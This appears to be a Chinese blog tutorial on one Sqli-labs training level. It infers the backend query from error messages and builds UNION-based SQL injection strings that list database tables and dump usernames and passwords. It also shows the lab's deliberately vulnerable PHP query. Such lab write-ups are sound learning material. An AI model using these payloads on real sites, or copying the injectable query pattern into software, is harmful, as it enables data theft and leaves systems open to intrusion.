零、前言
博客好长时间没写了,前段时间一直没空,期末各种课程设计要写。最近刚放假终于可以好好写写东西了,这次先续写Sqli-labs的笔记,上节课是关于注入前测试的内容,这次我们学习如何构造真正的攻击语句以获取数据库的信息。
一、后台SQL语句分析
当id=1时
当id=8时
根据网页返回结果猜测后台Sql语句为:
select * from table where id = input
接下来进行单引号测试,id=8',返回结果正常,再进行双引号测试,id=8"
分析一下出错信息:near '"8"") LIMIT 0,1' at line 1
最外层的一对单引号是程序标识错误的,我们输入的是8”,那么出错信息可以这么划分
near ' " 8" ") LIMIT 0,1 ' at line 1
可以看出Sql语句在id参数上加了双引号,而且还有一对括号,所以修改我们的Sql语句为:
select * from table where id = (“input”)
二、构造注入语句
根据之前所学的知识,我们插入这样的测试语句
“) or “1”=”1 “) or 1=1 --+
那么如何构造复杂的语句呢?接下来我们看一下一条SQL注入语句是如何诞生的,首先我们先熟悉一下我们的mysql数据库和sql语句,以命令行的方式登陆Mysql数据库
Show databases;
Use security; Show tables;
Desc emails;
现在我们讨论下系统数据库,即information_schema。
Show databases; Use information_schema;
Show tables;
Desc TABLES;
现在我们输出security中所有的表明
Select TABLE_NAME from information_schema.tables where table_schema=’security’;
可以把information_schema理解成数据库的数据库,它包含mysql所有的基本信息,读者可以自行查询一下。
三、前端注入测试
如果这段查询放到我们的攻击代码中会怎么呢
select * from table where id = (“input+攻击代码”)
首先我们还要做一些准备工作,以确定我们代码插入的方式
Order by 确定字段数
Group_concat 连接输出结果
Union 连接多个select语句
所以我们的注入代码为:
-8") union select 1,group_concat(TABLE_NAME),3 from information_schema.tables where table_schema='security' --+
这样我们就获取了所有的表名,进一步,如果我们要获取users表的中的所有的用户名和密码怎么办呢?先获取users表中所有的字段名
-8") union select 1,group_concat(column_NAME),3 from information_schema.columns where table_name='users' --+
-8") union select 1,group_concat(username,password),3 from users --+
这样我们通过web程序爆出了我们要的信息,最后看一下index.php源码,验证一下Sql语句。
$id = '"' . $id . '"'; $sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
这两句等同于
$sql="SELECT * FROM users WHERE id=("$id") LIMIT 0,1";
这就说明我们的判断是正确的,另外为什么我们要令id=-8呢,因为数据库中并没有id=-8这条记录,所以union前半部分的sql语句不会有查询结果,如果id是一个正常的值,它的结果会覆盖掉我们的注入语句的结果,就没有我们想要的显示了,读者可以自己试试。一般在注入测试的时候,都要先在数据库中测试语句是否正确,只有在数据库中发挥效果了,一般才会起作用。